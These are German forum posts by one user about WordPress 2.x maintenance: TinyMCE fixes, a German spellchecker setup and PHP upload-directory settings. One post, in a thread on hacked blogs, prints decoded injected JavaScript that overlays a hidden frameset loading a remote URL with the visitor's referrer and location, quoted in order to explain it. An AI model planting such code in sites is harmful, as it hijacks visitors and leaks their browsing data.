Beiträge von maxb

  • Upgrade von 2.2.3 nach 2.5 kleine Probleme

    Zitat von Smartsoul

    Was passiert dir immer?

    Dass ich vergesse, den Cache zu löschen, wenn ich an einer Seite rumgebastelt habe und das Ergebnis ansehen möchte. Und so meine Zeit mit einem Problem verbringe, das nur noch in meinem Browser existiert und auf dem Server vielleicht schon beseitigt ist.

    Fein, dass es funktioniert, vielleicht gibts ja in der nächsten WP-Version eine elegantere Lösung... :)

    Grüße, Max

  • Upgrade von 2.2.3 nach 2.5 kleine Probleme

    Jup, sieht dann ungefähr so aus:

    Code
    // Restore selection in IE when focus is placed on a non textarea or input element of the type text
if (tinymce.isIE)
     document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
[COLOR=Blue]if (this.isWindow && tinyMCE.isGecko) { window.resizeBy(100, 100); }[/COLOR]
t.restoreSelection();
t.resizeToInnerSize();
// Set inline title

  • Upgrade von 2.2.3 nach 2.5 kleine Probleme

    Ich hab in wp-includes/js/tinymce/tiny_mce_popup.js” nach Zeile 180 folgende Zeile eingefügt (WP 2.5, die gerade erschienene deutsche Version, aber ich glaube nicht, dass das wichtig ist):

    Code
    if (this.isWindow && tinyMCE.isGecko) { window.resizeBy(100, 100); }

    Gegenanzeige: [size=10]Ich weiss nicht wirklich was ich da tu; ich habs gestern total übermüdet aus irgendwelchen Foren zusammengestöpselt; warum ich da (100,100) drin hab weiss ich auch nicht; ich weiss nicht, was genau das Problem ist und warum es damit behoben ist; Vielleicht ist auch nur mein individuelles Problem damit behoben; Empfehlung zur Nachahmung unter grossem Vorbehalt und nur im schlimmsten Notfall[/SIZE]! :???:

  • Deutsche Rechtschreibung

    Die Patcherei hat sich erledigt: Wordpress 2.5 verwendet TinyMCE 3 in einer für WP angepassten Version. Das kann Deutsch und unterstützt die Google-API.

    Wer unbedingt noch was basteln will: in Zeile 66 der Datei wp-includes/js/tinymce/tiny_mce_config.php steht, welche der unterstützten Sprachen voreingestellt ist:

    Code
    $$mce_spellchecker_languages =
  apply_filters('mce_spellchecker_languages',
 '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian...

    Dort könnte man das "+" vor "English" rausnehmen und ein bisschen weiter rechts vor "German" einsetzen. Dann wäre Deutsch die Vorgabe:

    Code
    $$mce_spellchecker_languages =
 apply_filters('mce_spellchecker_languages',
 'English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,+German=de,Italian...

    Grüße, Max

  • Gemeinsamkeiten zwischen geknackten WP-Blogs

    Zitat von Fellow Passenger


    Kann sich darauf jemand einen Reim machen?

    Wenn man das Codierte "118#97#114#...." da im JavaScript ausführt, steht im Seitenquelltext

    Code
    var referer = escape(document.referrer);
var fromd    = escape(document.location);
document.write("<fram"+"eset frame"+"border=0 frames"+"pacing=0
    border=0 rows=\"1"+"00%, * \"noresize><fr"+"ame name=\"online\"
   src=\""+fid+"&q="+q1+"&referer="+referer+"&l="+
   lang"&c="+subacc+"&from="+fromd+"\" noresize></fra"+"meset>");

    Soll vermutlich nur verhindern, dass man "frameset" gleich findet...

  • Deutsche Rechtschreibung

    Hi Paul,

    sorry, den Spellchecker 2.0.rc1 (passend zu TinyMCE 3.0.rc1) bringe ich auch nicht zum laufen. Die TinyMCE-Leute haben wohl die ganzen Konfigurationsdateien ausgelagert. Den neuen Spellchecker bekommt man nicht einzeln ins alte Tiny von Wordpress (da ist eine TinyMCE 2.x verbaut). Den ganzen Editor will ich nicht auswechseln, weil mir nicht klar ist, wie viel Anpassungsarbeit die Wordpress-Entwickler da reingesteckt haben, erste Versuche, das einfach zu überschreiben endeten mit kaputtem Editor.

    Falls das nächste Wordpress TinyMCE 3 verwendet, versuche ich das weiterzuführen und anzupassen. Ansonsten bleibe ich bei der letzten funktionierenden Version stehen. Den kompletten Editor will ich nicht anpassen (und die Welt mit meinen Programmierfehlern dabei belasten ;) ).


    tobiii

    Ich hab einen Debian-Server, da hab ich einfach das Paket "php5-curl" installiert (php4-curl gäbe es auch). Für andere Betriebsysteme / Distributionen gibts sicher auch Pakete...

    Grüße, Max

  • Deutsche Rechtschreibung

    hmmm... diese "spellchecker/langs/en.js" ist anscheinend nur für die Sprache der Benutzerführung da (ob da "Suggestions" oder "Vorschläge" beim Korrekturvorschlag steht). Nicht für die Prüfung selbst...

    Die Version 1031 ist schon ein wenig älter und war für WP2.1, ich hab zwar keinen Grund gesehen, warum das neueren Wordpress-Versionen nicht gehen sollte, aber vielleicht liegts daran. Testen kann ich selbst immer nur mit ein oder zwei Versionen.

    Also schau mal bitte, obs mit der neuesten Version auch nicht geht, zumindest die Auswahl der Sprache ist ja noch recht unabhängig von Provider/PHP-Einstellungen, das sollte eigentlich auf jeden Fall klappen.

    Wenns nicht geht, melde Dich, ich komm aber vermutlich erst in ein paar Tagen wieder zum basteln ...

    Grüße, Max

  • Konnte die Datei nicht auf die Festplatte kopieren.

    Ich hab nicht ausprobiert, was passiert, wenn upload_tmp_dir nicht innerhalb von open_basedir liegt. Vielleicht geht das auch, dann müsste der Massenhoster die Variable nur einmal setzen (wobei er sich halt Gedanken mache muss über den Umstand, dass dann auch alle das gleiche Verzeichnis nutzen. Oder er muss es so setzen dass es im Kontext der einzelnen User doch wieder ein userspezifisches Verzeichnis ist, also irgendwas in dessen Home-Verzeichnis).

    Nachträglich pro User bei schon vorhandenen Kunden ändern ist allerdings echt ein Problem....

    Wenn es in der Kombination Etch/PHP4 auch geht, ist es ein PHP5-Problem. Ich hab Etch/PHP4 in dieser Hinsicht nicht ausprobiert, ich hab zwar nach dem Upgrade auf Etch schon brav getestet, ob mein Blog geht, bin aber nicht auf die Idee gekommen, auch speziell das Bilderhochladen nochmal zu testen.:-|

  • Konnte die Datei nicht auf die Festplatte kopieren.

    Hallo,

    Ist das noch aktuell? Ich hatte gerade das gleiche Problem nach der Umstellung von PHP4 auf PHP5 (im Zuge der Umstellung von Debian-Sarge auf Etch, könnte also noch mehr Umstellerei daran schuld sein).

    In der php.ini gibt es einen Eintrag "open_basedir" der steht bei mir auf "/pfad/zum/blog". Das war auch schon bei PHP4 so.

    Seit der Umstellung scheint auch noch "upload_tmp_dir" wichtig zu sein, das hatte vorher keinen Eintrag in der ini. Ich hab mir also ein Verzeichnis "/pfad/zum/blog/temp/" angelegt und mit den Einstellungen

    Code
    open_basedir    /pfad/zum/blog
upload_tmp_dir  /pfad/zum/blog/temp

    funktioniert das Bilderhochladen wieder.

    Grüße, Max

  • Deutsche Rechtschreibung

    Morgen,

    wenn man Teile des WP-eigenen TinyMCE löscht und durch die neuere Version ersetz, kann man die Google-Rechtschreibung einbauen. Sicher geht auch der Weg über aspell (ein Unix-Programm, das extern aufgerufen wird) oder pspell (ein php-Modul als Schnittstelle dazu). Ging aber bei mir nicht, weil ich in PHP keine externen Programme aufrufe und wegen des php-Moduls nicht mein PHP neu kompilieren will. Ich hab also diese Google-Rechtschreibung eingebaut. Folgender Text per Copy+Paste aus meiner Seite entstanden, Bilder gibts auch dort.

    Dieses Google-api scheint aber Anfang des Jahres auf https umgestellt worden zu sein, darum geht das wordpress 2.1, das ich mir runtergeladen habe auch nicht. Der spellchecker muss also nachinstalliert werden.
    Und das geht so:

    • Backup machen
    • wp-includes/js/tinymce/plugins/spellchecker löschen
    • Neuen spellchecker aus dem TinyMCE-Paket bei SourceForge holen (gebraucht wird nur der Teil “TinyMCE Spellchecker PHP”)
    • Auspacken und damit wp-includes/js/tinymce/plugins/spellchecker ersetzen
    • In diesem Verzeichnis in config.php “$spellCheckerConfig[’enabled’] = true;” setzen und drunter die default.language auf “de”.
    • in editor_plugin.js und editor_plugin.src.js nach “English” suchen und dort statt “+English=en” “+English=en,+Deutsch=de” einsetzen (das steuert die Sprachauswahl im Editor).
    • Ich hab in og. Datei noch überall, wo “lang=en,fi,sv” eingetragen war noch “de” dazugeschrieben, glaube aber nicht, dass das wichtig ist.

    Zwischendurch hab ich auch noch php-curl installiert. Wie sich später herausstellte, funktioniert damit die Überprüfung besser. Ohne curl kam öfters (aber nicht immer…) eine Meldung “could not execute AJAX call, server didn’t return valid a XML”, die seit dem Einsatz von curl weg ist. So wie es auf den ersten Blick in den Code aussieht, wird im spellcheck erst eine Verbindung mit “fsockopen” versucht und falls diese fehlschlägt alternativ eine Verbindung mit curl geöffnet. Vielleicht braucht man einfach in 50% der Fälle 2 Versuche bei Google. Also musste ich noch

    • php4-curl installieren und “extension=curl.so” in die php.ini eintragen
    • Apache neu starten

    Grüße, Max

    Nachtrag 26.2.: Für mal-eben-schnell-Ausprobierer hab ich eine zip-Datei gebastelt. Die enhält alle Dateien aus dem tinyMCE-Spellchecker mit einer lauffähigen Anbindung der deutschen Google-Korrektur. Einfach wp-includes/js/tinymce/plugins/spellchecker löschen und damit ersetzen. Aber Backup nicht vergessen...
    Download: spellcheck-DE-1031.zip (basierend auf tinyMCE Spellcheck 1.0.3.1 vom 10.1.07)

    Ich glaube übrigens, dass eine funktionierende pspell-Korrektur vorzuziehen wäre, wenn das die php-Installation zulässt. Der Umschalter dafür befindet sich in den Zeilen 5-7 von wp-includes/js/tinymce/plugins/spellchecker/config.php. Sollte sich lohnen, da mal die auskommentierten Zeilen umzustellen.
    Wenn man Glück hat, funktioniert ja "pspell Internal PHP version"
    Die dritte Variante "Command line pspell" erfordert einen Aufruf per "shell_exec", das geht im safe_mode von php nicht, wird also bei vielen Providern nicht hinhauen.